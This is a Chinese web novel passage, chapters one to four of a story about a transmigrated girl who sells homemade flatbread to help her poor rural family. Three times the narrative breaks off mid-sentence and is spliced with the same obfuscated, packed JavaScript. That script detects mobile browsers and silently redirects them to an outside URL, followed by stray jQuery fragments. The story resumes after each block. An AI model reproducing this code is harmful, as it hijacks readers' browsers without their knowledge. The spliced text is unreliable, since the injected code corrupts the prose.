《崔氏小饭馆》
1. 001
时令已过秋分,天气一日寒过一日,崔家小院里那株槐树已开始落叶,每日清早,街坊四邻都能看见崔家三娘握着笤帚,在院里唰唰的清扫。
要说这崔家,是京郊黄石村有名的清贵人家,村中其他人户都是土生土长的庄稼人,唯这崔家祖上曾做过官,只是到了崔三娘这一代,官早已没得做,只有崔家大郎在县衙里谋了份吏职,算是公家人。
不过,这吏职是清水衙门,每月只有两贯俸银加一些禄米,要养活崔家八口人自是不能,好在崔家住在郊外,有一亩水田两亩旱地,崔家老太太领着媳妇林氏,拖着三个年龄不等的孙女儿,一年到尾在地里头忙合,也能勉强糊嘴,若赶上年情好,还能给家中老小做件褙子,纳双绣花鞋,日子清贫却也和顺。
只天有不测风云,邻人牵牛扛锄从崔家篱笆院墙前经过,望着清扫院落的崔三娘无不叹息一声。
这崔三娘生得白皙整洁,亭亭玉立一个小姑娘,性子也乐呵,却在春日上山采菌子的时候失足跌落了山崖,人是救了回来,只是一直有些痴懵,远不如从前机灵。
崔家老太太和母亲林氏不甘心,陆续请了好几位大夫给三娘瞧病,城里城外的寺庙庵堂也去拜过无数回,不知是药石有效还是心诚则灵,总之在秋分之前,崔三娘的病忽然有了好转,虽然那性子与受伤前终究有几分不同,但眼眸中有了神采,遇见人也会甜甜的打招呼。
只是这崔家的家计,却彻底因她瞧病而垮塌。
不仅欠下刘家解库五两银子,在街坊四邻和崔大朗衙门里的同僚那,也欠下了不少外债。
崔家八口人,便被这外债沉沉压着喘息不过。
“吃早饭了。”
崔三娘才搁下笤帚,便听见老太太在灶房里喊,她忙应声,穿过灶房低矮的木门,熟练的打开碗橱,抱出一摞泥碗放到窄廊下安置的小木桌上,那木桌上已摆了两碟酱菜,一样是春日腌的笋,一样是熬的黄豆酱,都是用来佐杂粮粥食用的。
如今崔家一日三餐皆离不开这“粥”字,早上杂粮粥,午间是杂粮粥加蒸白薯,晚间则是野菜粥,见老太太将熬粥的陶罐端到木桌上,热气儿从罐口飘出,粮食自带的清甜香味顿时涌入崔三娘的肺腑,她咕嘟一声咽了口唾沫,肠胃也因饥饿而痉挛。
不过还得等人齐了再开饭,崔大朗已一早去衙门里当差,吃早饭的只有七口人,按序齿数来,分别是年逾六旬的老太太,刚过四十的母亲林氏,其次是接近临盆的大嫂桂氏,接着便是崔三娘、崔四娘、崔五娘三姊妹,紧挨着五娘坐的是崔大郎与桂氏刚满三岁的儿子崔家兴。
七只泥碗整齐摆在小木桌上,崔老太太挥舞着木柄勺打粥,每一碗分量都一样,最后罐底还剩一勺稠的,老太太想也没想,就往桂氏和崔三娘碗中各添了半勺。
桂氏忙谦让:“奶奶,这碗该您吃。”
“那怎么能成,你怀着娃呢,三娘大病初愈,都需要营养。”老太太以说一不二的口气讲完,接着大手一挥道,“吃。”
桂氏抚摸着圆滚滚的肚皮,脸上带着怅然又满足的微笑,这才低头吃粥,至于崔三娘,抿了抿唇,没有跟着谦让,也大口吃起来。
作为一个穿越者,崔三娘内心很清楚,只有吃饱吃好才能完成原身的嘱托,而且这幅身体受伤后失血不少,正需要充足的营养,可望着几口就见了底的粥碗,崔三娘又不得不发出无奈的叹息。
光喝粥怎么成,养身体得要油水,可崔家如今山穷水尽,为了早日还清外债,正在老太太的带领下勒紧裤腰带过活,从前还能一月沾次荤腥,现在恐怕连米粮都要断炊。
老太太好强不说,可崔三娘眼尖,今早上瞧见粮袋已见了底,如今才月下旬,离崔大郎发俸米的日子还有小半个月。
日子究竟要怎么熬?
崔三娘在心里叹息着,随手夹了片腌笋入口,这笋虽无营养,但毕竟带了咸味,一口吃罢不够,崔三娘又夹了一筷子。
林氏在旁道:“三娘往日不是嫌笋有苦味,从来不爱吃吗?”
没待崔三娘找理由解释这一变化,老太太笑眯眯开口:“是呀,这丫头从小嘴叼,以前你二哥还没投军时,常给你买老杜家的酱辣瓜吃,可还记得?”
崔三娘眸子一亮,随后猛然点头,只是一番心思早不知道飞去了哪里。
她穿越到原主身上,继承了原主的所有记忆,只是这记忆更像一套浩瀚的书籍,她需要按图索骥才能读取,方才老太太提到老杜家的酱辣瓜,崔三娘方猛然想起村口还有这么一家小作坊。
甚至连小作坊也算不上,只是普通农家,因制酱和腌菜的手艺比别家好,便以此为生计,成了村里顶殷实的人家。
崔三娘回忆着老杜家酱菜的滋味,其实也算不上多么惊艳,至少比她在现世吃过的酱菜差一大截,只因这个时代技术落后,制作原始,配方简陋,这杜家的酱菜便显得尤为出色。
而她本人在现世是美食发烧友,不仅爱吃还爱捣鼓,要不,她也试试?
试试就试试,崔三娘是个雷厉风行的性子,待一家吃完早饭收拾好碗筷,她便挎着篮子往山上走。
“三娘,你干什么去?”
才离了院门,老太太便追了出来,这城外不似城里人口杂乱,就是四五岁的娃娃家长也敢让他们随意乱跑,只是崔三娘春日才遇见过意外,老太太对她不大放心,如今时时看紧她,不准她再上山。
这是个爱操心的老人家,看见崔老太太崔三娘便想起现世早已去世的外婆,同样脾气倔强而好强,也同样心软善良,所以从来到这异世开始,她就对这老太太心有好感。
“奶奶,我出去走走,挖点儿野葱回来。”崔老太太是崔家的话事人,崔三娘若要做什么,都得经过她老人家的同意,因此也不吞吐,直言道,“我打算做些酱香饼,拿去村外渡口叫卖。”
“啥?”崔老太太还以为自己听岔了,“什么饼?还要去叫卖?你要学着去做买卖?”
这一惊非同小可,崔家出过官,一直务农,还出过军汉和匠人,但从未有人经商,而且农人生性腼腆,偶尔去集市上卖些鸡蛋瓜菜,也是寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480607|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸个地方蹲着,自待买主问上前来。
有时候蹲一天,菜晒蔫了也卖不出去,而且,做饼要白面,橱柜最底下那十升白面是留给桂娘坐月子用的,轻易动不得。
看出了老太太的不信任与纠结,崔三娘争取道:“我只用一升面,可以做十来个饼,叫我去试试,万一能卖出去呢?”
三娘自小就懂事,小时候养了几个鸡仔,大了下了蛋,从舍不得吃,每每捡了积攒起来,都奶奶、奶奶唤着让去换钱买油盐酱醋,这孩子从小便知家计不易,老太太越想越心酸,因知道孙女儿想改善家境的心思急切,便不好开口阻止。
想了想,全家老小从年后起就没吃过白面,便硬下心来点点头:“那就依你。”
若售不出去,就当给一家老小打牙祭了。
随后朝院里喊:“四娘,五娘快过来,你们仨一块去,记住,只许在山脚下挖,山上不准去。”
崔家兴是五娘的跟屁虫,见状也蹦跳着要同他们出去,被老太太一把揪住抱起:“你太小了,跟着净捣蛋。”
眼见崔家兴嘴一瘪就要哭,崔五娘扯着嗓子道:“莫哭,我摘野果子回来给你。”
说完崔家兴果然不哭了,姊妹仨也叽叽喳喳笑闹着往村东头的山坡走去。
黄石村因多产黄色石头而闻名,土地肥沃平坦,村里约有百来户人家差不多五百口人,是远近最大的村落,而此刻朝阳正在眼前闪耀,围着村庄流淌的小河波光粼粼,嗅着鼻端清新的草木气息,崔三娘的心思前所未有的开阔。
她来自现世物质无限丰富的世界,只是后来健康亮起红灯,在病床上躺了整整两年,曾经以为人死灯灭,没想到居然穿到了一个异世的农家小姑娘身上,虽然穷了些,吃的差了些,但好死不如赖活不是么。
崔三娘挎着空篮子,很快便和姊妹们来到了山脚下,秋天本就是丰收时节,虽然天儿变冷,但植物还没完全绝迹,至少崔三娘想要的野葱、野水芹很快就找见了,此外还发现不少野生紫苏、小山楂等,本着遇见就不放过的念头,崔三娘一并放到了篮子中。
“三姐姐,这山楂可酸,不好吃。”崔四娘比崔三娘小三岁,上个月刚过九岁的生辰,不过穷家儿女早当家,她做家计已经很在行。
崔三娘很喜欢这安静沉稳的四妹,笑着揪了揪小女孩肉嘟嘟的脸颊:“直接吃不好吃,但可以熬果酱呀,还可以做山楂片。”
果酱,山楂片?每一个词对崔四娘来说都很陌生,不过听上去也都很好吃,她舔舔嘴唇,懵懂问道:“三姐姐,这些你都会做吗?”
崔三娘眨了眨眼睛,抛出早已想好的理由:“当然会,这些都是二哥和我说的。”
崔二郎是个跳脱性子,从小就爱听人说书讲故事,大一些后时常城内城外的跑,因结识的人多,所以见识也格外多些,崔三娘和这位二哥关系最好,自然也跟着涨了见识,这不奇怪。
不过,做果酱和山楂片都离不得糖,糖在这个时代是极珍贵的东西,崔家并没有,因此这两样得暂时搁在一旁,先做酱香饼。
2. 002
午时刚过,黄石村家家都冒起了炊烟。
如今地里活计不忙,不需要耗费太多体力,为了节约粮食,各家都吃得简单,不过,在一片清粥小菜的寡淡香味中,一股浓郁芳香,又带着微微咸辣的香气,逐渐引起了村里几户人家的注意。
“这是谁家做了好吃的?真香。”
“哟,怪馋人的!定是保长家。”
“闻这味是从西边飘来的,应该是崔木工家,他家妇人爱做吃食……”
吃过午饭的人们三三两两坐在院里唠闲嗑,只是谁都没有猜中这香味的来源。
崔三娘自把野葱摘回来,就一直忙碌着,这野葱滋味香,但特别难清洗,泥沙也多,回到家后喝了半碗凉开水,她便撸起袖子准备开干。
正准备洗摘野葱,崔四娘就带着崔五娘走了过来:“三姐姐,这活儿交给我俩吧。”
家里的两亩旱地需要除草松土,用完早饭后老太太就带着林氏下地了,家里只剩下几个孩子和腿脚已浮肿的桂氏,桂氏躺在床上,正给即将新生的孩子纳小衣,闻声朗言道:“多吗?我跟你们一块摘洗。”
这桂氏是私塾先生家的女儿,家境比崔家好很多,可她一点也不娇气,说要帮忙就真要起身,吓得崔三娘赶紧进屋,请大嫂重新躺下:“有我们几个就够了,大嫂好好休息,等小娃儿生下来,你可又有得忙。”
桂氏笑笑:“好吧,那我就偷闲几天。”
安顿好嫂子,崔三娘复又回到灶房,先取了一升白面温水搅拌,这一步很简单,揉搓出白圆的一个面团,搁在陶盆中放着便好,制作油酥和酱汁才是酱香饼好吃与否的关键。
只是做油酥离不开热油,而且最好是荤油,这又是崔家的紧俏物资,幸运的是前些日子崔大郎帮人写讼状,事主送了一斤肥肉做谢礼,崔老太太将肉切了熬了一小罐白膏似的油脂,那些油渣除了当日给大家尝了半块,剩下的还扣在碗中,预备过两日老太太过寿,做席面招待乡邻。
家贫物紧,样样都紧张,每一针一线都要精打细算,崔三娘于是格外小心,擦净勺子从油罐里小心取了两勺荤油,在热灶上化开,接着和入白面搅拌好,这头才忙清楚,灶房外崔四娘崔五娘两个道野葱已经洗好,崔家兴一直蹲在旁边,这时也迈着小腿儿,艰难跨过门槛给三姑姑报信儿:“好惹,野冲洗好惹。”
崔三娘笑着揉揉小家伙的发顶,吩咐五娘带他出去玩会,接着对四娘道:“过来替我烧火。”
崔家人口多口粮也要得多,但有一点好,就是需要人帮忙时可以随时喊到帮手,虽然崔四娘才九岁,放在现世还是个喝奶吃零食的小学生,但崔三娘使唤起她来并不大亏心,说到底,她这幅身体也不过十二岁,最多是读初一的年纪,不也是样样都干。
入乡便得随俗,为了尽早改善家计,吃上一顿肉,还清那些外债,崔家每一个人都要出力。
“三姐姐,你说二哥如今到了哪里?”崔四娘抱了一捧柴扔在灶膛,随后边添柴边问道。
从意识到自己穿越,到逐渐适应的这半个月里,崔三娘已大致摸出家人的个性,别看崔四娘年纪不大,却十分内敛深沉,心思也有些敏感,她这样问,一定是很担心前去投军的崔二郎。
至于崔二郎去了哪里,崔三娘也不知道。
原身只是一个普通的小姑娘,并不了解这叫大周的类似封建社会的王朝疆域有多么辽阔,只知道崔二郎是认了位禁中督头作大哥,接着北安道起了战乱,北安道下辖的三个行省因此要招募兵士,崔二郎请那位督头写了封推荐信,又找人开了路引,接着就背上行囊北下投军去了。
这过程崔家人起先不知,直到崔二郎离家三日还没归家,才有一个帮闲将这份离别信送来家中,崔老太太提起锄头,当时就要去追,崔大朗劝住哭泣的母亲林氏,又拦住怒气冲冲的奶奶,解释说去北安道有陆路水路可走,陆路又分商道官道,总之天高路边,崔二郎已经走了三日,大概率是追不上了。
如今已过去了三个月,崔二郎还未曾给家中来信。
崔三娘不想妹妹忧心,便用轻松的语调答道:“具体在哪儿我说不上来,但二哥去的是北方,比咱们这里更冷,冷天嘛,自然是吃烤山芋烤红薯的时节,二哥没准正吃着,你不必担心。”
“是吗?那就好。”提起吃的,崔四娘就忍不住咽口水,尤其是此刻,整个灶房已升腾起一股浓烈的酱香气,那味道仿佛有生命,顺着鼻腔往人肚子里勾缠,搅得崔四娘口水泛滥。
其实不止是她,在房里穿针引线的桂氏,还有在院外空地捏泥人的崔五娘和崔家兴也都嗅见了自家这好闻的香气,一齐儿趴到了门口,眼巴巴瞧着。
陶盆中的面团儿早已被崔三娘刷上油酥反复擀碾后成了薄饼,这饼足有簸箕那么宽,崔家没有这样宽的铁锅,崔三娘于是分三次小火煎烤煨熟,如今薄饼已是两面焦黄,涂抹上炒制过的野葱豆瓣酱后,颜色更是金灿灿的好看。
“好香好香,好香啊。”崔五娘吞着口水一连说了三遍,不过她知道这饼是要卖的,因此郑重的对崔家兴说,“不能吃,再香也不能吃,要留着换钱。”
崔五娘只有六岁,还是个小不点,崔三娘再次被崔家小女娃们的早慧惊讶到,眼睛不免有些涩然。
不过,这饼自家并非一口也不能尝,因为酱香饼是整做零卖,崔三娘已将三张大饼切作了十二份,最后剩下了些边角料,她弯下身子给崔五娘和崔家兴一人一小块,温和道:“可以吃一点点。”
接着又给桂氏、崔四娘各分了一块,剩下三小块留在碗中,是给尚未归家的崔老太太和林氏还有崔大郎留的,崔三娘自然也不会亏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480608|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待自己,做完这些后将小拇指大小的一块饼送入口中。
这是她来到异世第一次做酱香饼,金黄焦脆,卖相非常好,但因为缺乏原料和工具,味道只能打七分,但不知是这个时代的面粉、荤油更真材实料,还是这副身子太过缺乏油水,总之在饼送入口中的刹那,舌尖上就漫起了口水,先感受到的是酱汁的咸香鲜美,咀嚼几下后,是柔软滑嫩的面饼滋味,隐约还有荤油那特有的香气。
只是量实在太少,没嚼几下就咕嘟一下吞到了胃中。
一家人都意犹未尽,桂氏咂嘴回味道:“这饼鲜嫩口味好,不知二郎从哪里听说的,还记下了做法告诉你。”
“二哥神通广大,还告诉我不少其他的食方呢,等以后一样样做给大家吃。”崔三娘已经想好了,要把自己突然会做美食的“锅”扣到崔二郎头上,反正他远在百里之外,谁也无法向他求证。
这时中午要吃的白薯已经蒸好,崔三娘拿了两个道:“这饼趁热吃味道才好,我先去渡口卖饼。”
崔四娘和崔五娘见了,也嚷着要同去。
“好,那便一块儿。”崔三娘也有心想练练妹妹们的胆量,若这买卖能做下去,她掌勺,少不得要叫家人去销售兜卖。
从黄石村到村外的小渡口并不远,大约三四里路,她们走快些不过一刻钟就到了,但是这饼不能吹风,否则难以保持外酥内软的口感,而且也不是一到渡口就能将饼卖完的,必须做好保温措施。
桂氏想了想道:“这个好办。”
说着取来了一些引火的稻草松针铺在篮子底部,盛饼的盘子放在中间,上头倒扣一个盘子做盖,再将她新浆洗过的软絮小褥子盖在篮子上头,这简易的保温篮就好了。
只是崔三娘有些抱歉,摸着柔软的小褥子道:“这是小娃儿的包被呢。”
“要什么紧,这是物尽其用,用过后若污了脏了,再洗就是了。”桂氏性情很温柔,笑眯眯接着说,“饼能卖出去最好,若生意不好尽早回家,千万莫贪玩。”
崔三娘嗳声应好,说罢挎上篮子,和两个妹妹出了门去。
崔四娘边走边小心的剥白薯的皮,剥好第一个后她没有自己吃,而是递给了崔三娘,忙碌了一上午,崔三娘早已饥肠辘辘,也不客气,接过来咬了一大口。
这白薯的滋味没有后世的甜,但更柔软,因此可以大口嚼吃而不怕噎住,崔三娘吃得满足,没几口便吃完了,却只吃了个二分饱,这是来到这个世界后的常态。她现在最近最迫切的愿望,便是敞开肚皮吃上一顿饱饭。
梦想能否成真,全看待会儿的生意如何。
说实话,崔三娘心中没底,这渡口客流不大,且已有三两个卖馒头水饮的小摊,万一无人问津怎么办?一路闷想,在看到路边灌木丛中摇曳的野花后,崔三娘眼眸猛然一亮。
3. 第 3 章
“新鲜出炉的酱香饼,热腾腾,香喷喷。”
“路过的婶子大爷,叔叔阿奶都来瞧瞧看看吧。”
秋日爽朗的微风下,渡口一片平静,但这静很快便被稚嫩的童声所打破,岸边侯船的旅客纷纷循声望来,只见三位戴着编花环的布衣小姑娘站在路口,听动静是卖吃食。
别说,这野花配上小姑娘天真的笑脸,在秋阳下怎么瞧怎么好看,而且她们吆喝完,还会齐唱歌谣,歌声算不得多么高妙,但从几位小朋友口中唱出,总是会别样的动听。
这是崔三娘想出的揽客的主意,果然,不一会儿便有侯船的客人搭嘴询问:“你们的饼怎么卖?”
这里的物价崔三娘已大致了解,她做饼所耗的本银大概是十五文钱,按照市价,这样荤油重又是纯白面做的饼,能卖五文一个,但这是头位顾客,崔三娘决定给他让点利:“五文,但瞧您面善,饶一文钱,只收四文。”
说着掀开小褥子,用粽叶包了一块饼给客人。
此时离饼出锅还不到半个时辰,酱香饼仍旧温热,浓浓的酱香味亦随风四溢,叫客人十分意外,原只是想照顾这三姊妹的生意,现在闻着这香味,瞧这卖相,竟格外美味。
他摸出四枚铜钱递给崔三娘,接过饼咬了一口,随后高声赞道:“香!”
就因这香字,周围又有两位旅客前来询价,不过只有一位买了。
又吆喝了一阵,渡船到了,候船的客人皆登船离去,崔四娘见了不免着急,踮脚看向江面道:“人都走光了。”
“怕什么,船走了,还会有船来呀。”崔三娘按捺下内心的焦虑,努力作出胸有成竹的样子,免得两位小妹自乱阵脚。
“喂,给我来两个。”这时岸边卖水饮的老太太忽然开口道。
崔三娘一喜,忙掀开褥子准备用粽叶包饼,老太太却递上了碗:“装里头。”
瞧样子是要带回家去的。
崔三娘想着往后还会常来渡口卖饼,有心想卖这位婆婆一个人情,便也只收她四文钱一个。
这时候五娘悄悄勾了勾指头,随后扯扯崔三娘的衣襟:“我们卖掉了五个,还剩几个啦?”
“剩五个。”崔四娘接过话,这孩子一直有心记着数呢,不过崔三娘发现她并不是口算出这个结果的,而是用最原始的办法,勾手指。
崔家祖上虽出过官,可到这一代,除了崔大郎崔二郎读过私塾,崔家老少女眷都是大字不识,不识字亦不会算数,崔三娘心道,为今后长足发展计议,还得给姊妹们扫盲。
不过这是后话,正要招呼两位妹妹去边上石堤上坐着歇脚,就见河边又泊来一艘帆船,这回有四五位客人下船,崔三娘一喜,忙又朗声吆喝。
这次运气不错,这船从邻县驶来,船客们枯坐了大半日早已饥肠辘辘,余下的五块饼顺利的一销而空,崔三娘怀中装钱的小荷包也从干瘪瘪变得鼓囊囊。
里面一共有四十七文钱。
这一溜铜钱铺在小木桌上,险些闪花了崔老太太的眼,在地里头累了大半日,本是头晕目眩,见着这些铜钱后头了不晕了,只一味感慨:“好,真好,咱三娘会挣钱了。”
而且这钱挣的又快,又多,还比在地里忙碌轻省。
“奶奶,天冷了您爱腿疼,我听崔嫂子说集市上有人卖一种药酒,只要二十文,治腿疼特别好,明日是赶集日,我去给您买来。”崔三娘眯眯笑着道。
孙女儿的这番话,简直暖进了崔老太太的心窝,不过,她哪里舍得用二十文钱的药酒,便摇头斩钉截铁说用不着:“今年腿脚爽利多了。”
言罢又道:“怎么?你明日想去集上?”
这时候太阳已经西斜,就快日暮了,灶房里正在生火熬粥,崔三娘往灶膛里添了根柴禾,望着老太太的眼睛郑重点头:“今日饼都卖光了,说明这生意值得做下去,只是渡口往来的人不多,集市上人来人往,应当卖得会更快!”
卖得更快更多,崔家方能早日还清外债,一家老小清爽过活。
老太太眯了眯眸子,仿佛想见了数不清的铜钱和小元宝,过上好日子的心如一股火焰熊熊燃烧在老太太心头,她霍然道:“对!三娘你说得对极了,明日去集市,咱们都去,对咯,这酱香饼还需要其他材料么?你要不要人帮忙?要啥工具不?”
这一叠声反问倒叫崔三娘有些发蒙,她将准备好的劝说之语尽数吞入肚中,双眸弯道:“材料工具不缺,但要人帮忙,这回我准备做五斤面的饼,估计后半夜就得起床,这样才能清早到集市上叫卖。”
老太太点点头,拍着胸脯说没问题:“今晚上大家早些睡,我和你娘同你一块早起做饼子,明日除了家兴他娘,我们都去集上。”
这番话充满了豪情,令一家子都心潮澎湃,好像明日不是去集上卖饼,而是上阵打战,不过,这也差不了多少,对于近乎山穷水尽的崔家来说,这已是一次不小的豪赌。
桂氏用力点头:“你们放心去,家里的鸡鸭我会照管好。”
话音才落,只听院门哗啦一声响,从衙门下职回来的崔大郎讶异道:“说什么呢?这般热闹。”
崔大郎长得高大,有张端正白皙的面孔,因要在衙门坐班,穿得也体面,是一袭蓝色棉布长袍,只不过领口袖口早已发白,他举起手中一个小油纸包笑道:“今日膳堂的馒头做多了,管事的为感激我上次帮忙,送了我几个,晚上可以加餐咯。”
说着崔家兴高兴的蹦了过去,抱着崔大郎的腿爹爹、爹爹的唤。
桂氏也抿嘴笑,顺便将今日卖饼,以及诸人明日的计划简略的说与丈夫知晓,崔大郎将油纸包搁在桌上,将崔家兴抱起驾在肩头逗弄,边逗边惊讶地说:“二郎成日三五不着六的,竟还收集了这么些食方子?这食方可是庖厨安身立命的本钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480609|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怎么轻易说给别人呢?”
崔大郎这么一问,崔三娘便猝然紧张起来,正待绞尽脑汁狡辩,崔大郎又叹道:“二郎虽然散漫,却热心讲义气,许是人家报答他,才告诉了他秘方。”
得,都不用自己出面,这谎便圆了回来,这崔二郎牌的锅,就是好用。
-
天不一会儿便黑了,屋外黑漆漆的,崔三娘将窄廊下的小木桌搬进灶房,一家人也不点灯,就着灶膛里飘摇的火光开始用暮食。
一罐野菜粥,一碟白面馒头,还有一小碗金灿灿的农家炒鸡蛋。
这是崔三娘来到这里后享用的最为丰盛的一餐。
小半个时辰前,崔老太太从攒鸡蛋的破罐子里小心的取出两枚,道:“今日虽不年不节,但明日咱们要做大事儿,为着个好兆头,咱也要整点儿荤腥尝尝!”
天知道崔三娘听了有多惊喜。
八口人两个蛋,一人分来只有一口,但今日还有白面馒头。崔三娘先吞了口唾液,然后小心的将暄软的馒头掰开,将油亮的炒鸡蛋夹在中间,这蛋里添了她摘的野葱,又吸满了油脂,嗅上去香气扑鼻,她忍着馋意,吸了口气,这才咬下一大口。
太香了。
食物入口后她满脑子只有这三个字,鸡蛋和油脂特有的醇厚香气溢满口腔,随着咀嚼的动作,白面馒头的甘甜滋味在舌尖上蔓延,她所有的感官都消失了一般,只顾得上嘴中的食物,一口接着一口,她已尽力吃得慢些,可幸福时刻总是转瞬即逝。
摸着只有五分饱的肚皮,崔三娘感到怅然,不过今日已十分知足。
“都早些睡。”
用过暮食不久,崔老太太就催诸人上床,自欠下外债,崔家夜里除了崔大郎,谁也不许随便点灯,崔大郎是勤俭惯了的人,除非衙门里有未誊抄完的文书,否则他不会动灯烛,今日无事,洗漱后他与妻儿便歇了。
崔大郎与桂氏的卧房十分狭窄,里头除了张简陋的木板床便只能摆下桂氏陪嫁的一对木箱,此外只剩落脚转身的地儿,如今还好,过阵子桂氏发动生下娃娃,这屋子将更加局促。
住房紧张,这亦是崔家面临的难题。
祖上留下的院子只有三间房,中间的做堂屋兼库房,左边的隔成了两小间,外间是老太太与林氏二人同睡,里间则是崔家三姊妹的通铺,右边的那间亦隔成两间,外间是崔大郎夫妻俩的婚房,隔壁那间另外开了扇门,给崔二郎住。
如今很勉强,今后崔二郎娶了妻,崔家兴再长几岁,这一大家子怎么睡?崔老太太为解决这问题,早些年就开始攒钱盖房,可崔三娘出了意外,为了治好她,好不容易积攒下的银钱便像水一般流走。
现在好,这孩子争气,都说三十年河东三十年河西,莫非崔家要时来运转了?崔老太太在临睡前胡思乱想一番,最终带着微笑沉沉睡去。
这一觉睡得极香。
4. 第 4 章
寅时才过半,村里便断续有鸡鸣声,但此时还是半夜,大部分人仍在睡梦中。
不过崔家灶房已亮起了光芒,早秋的下半夜,温度比白日低不少,崔三娘刚从温热的被窝钻出来时抱着手臂还有些微微发抖,不过到灶房一番生火、和面、擀面后,筋骨早已活动开,浑身热乎乎,还淌下了细汗。
崔老太太负责添柴打下手,林氏性子虽温吞甚至有些怯懦,但心灵手巧,学东西极快,崔三娘细心交代一回,她便能帮着摊饼了,这帮了崔三娘很大的忙,她可以抽身做酱汁。
忙碌的时间总过得飞快,天蒙蒙亮时,这五斤面约六十份饼就新鲜出炉,诱人的香气顺风飘散,这回有更多的村人嗅到了这股焦香,不过还未来的及搞清状况,这味道便又迅速散掉。
因为崔家人已带着饼沿村道出发了。
同行的还有崔大郎,家中没有骡子马匹,他也舍不得在骡马店雇,因此每日都是步行进城当差,路走得多了,一双新纳的鞋底总半个月就要磨透,自成婚后,桂氏已记不清给他纳过多少双鞋垫。
“前头就要岔开走了,你们行慢些。”崔大郎放下肩上背的箩筐,不放心的叮嘱道。
这进城的路和赶集的路在同个方向,只是走上五六里后有了岔口,崔大郎需要继续北行入城,而她们要往东走二里地去集市。
这次赶集,崔家五位女眷不仅带了酱香饼,还带了一小罐子鸡蛋,一篮子新鲜果蔬,这些都是要到集市上卖的,东西零碎又多,因此就连六岁的崔五娘也抱了东西。
崔大郎见家人老的老小的小,有些不忍心:“算了,还是送你们到集市。”
“用不着!”崔老太太抢过箩筐上拴着的麻绳头儿,板着脸训斥道,“各做各事,你在衙门当差,桩桩件件上司都看在眼中,万一迟到了怎么办?快走快走,不要误了你的事!”
衙门里的规矩是每日辰时点卯,但就算到了辰时二刻,也依旧有很多同仁未到,只有崔大郎谨守着这个规矩,而且他的顶头上司是个掉进钱窟窿的角色,几次暗示崔大郎要孝敬而未得,如今时常给他穿小鞋,但这些烦心事岂好说给家人听,于是崔大郎苦笑着点点头,又温言叮嘱了几声,这才往城中去。
望着逐渐升起的朝阳,崔三娘搓搓手:“咱也继续往前走吧。”
她有些迫不及待了。
待赶到集上,崔三娘有些失望,这儿不过是片宽敞的空地,空地对面是一条低矮的街道,零星有两间固定的商铺,此外再也没有其他商业化气息,甚至有些灰头土脸。
不过叫她高兴的是,随着日头升高,集上的人越来越多,她理了理鬓角被风吹乱的发丝儿,放声吆喝起来。
“酱香饼,酥酥香香的酱香饼哟。”
“好吃不贵,吃了再来,崔家酱香饼,滋味好价实惠!”
随意便的词儿朗朗上口,经过昨日的历练,崔四娘崔五娘两个也更放得开,尤其是五娘,嗓门儿又尖又脆,就像朝阳下啾啾嘀唤的小黄鹂,没过一会,就唤来了两位主顾。
“真稀奇呀。”崔老太太和林氏就在旁边摆摊,面前的瓜菜蔬蛋一时还无人问津,见孙女这般轻易的开了张,她也摩拳擦掌,试着吆喝起来,“咱家的大南瓜,又粉又甜,这秋萝卜……又脆又甜,都好吃,……都好好吃,快来买快来买。”
这词说得磕巴,总木然着脸的林氏也忍俊不禁:“娘,你吆喝起买卖来真逗。”
崔老太太有些得意:“管他,能将货卖出去就成。”
这招颇灵验,没多久她们抱来的南瓜就卖掉了,只是南瓜不值钱,锅口大黄澄澄的一个,只卖得六文钱,但有钱进账就好,崔老太太心里美。
而崔三娘这头,一会子又来了两三个顾客。
“煎饼,新鲜出炉的煎饼!”
只是没高兴多久,街对面就走来了一位挑担子的卖饼翁,同行是冤家,那卖饼翁常日在这附近挑担穿巷卖饼,从一听见崔家姊妹的吆喝声起,心里就窝着股火气。
他故意挑着担子往崔家姊妹这边走,吆喝声破锣鼓似的震人耳膜:“卖煎饼,卖煎饼!新鲜出炉的煎饼!”
眼见来着不善,崔三娘掏出水罐抿了一口,佯装不见,她并不想招惹是非,可那卖饼翁成心要找茬,竟将担子搁在崔三娘姊妹身前,将她们拦了个严实后,继续放声吆喝。
崔四娘崔五娘害怕的对视一眼,齐望向崔三娘,崔三娘冲妹妹露出个安慰的笑,又对咬牙捏拳即将跳起来骂人的崔老太太摆摆手道:“在这卖了好一会了,咱换个地方。”
说罢领着妹妹们去了对面,可那卖饼翁打定主意要欺负人,竟然又挑着担子追到对面,继续拦在崔家姊妹面前。
这简直欺人太甚!崔老太太虽年过六旬,可脾气仍旧火爆,站起身就往对面奔去。
果然,有人的地方就有江湖,无风也会起浪。
崔三娘在心中思量一番,正合计到底是退一步还是和卖饼翁撕破脸,面前突然响起一位客人的声音:“快,我赶时间,要五个饼。”
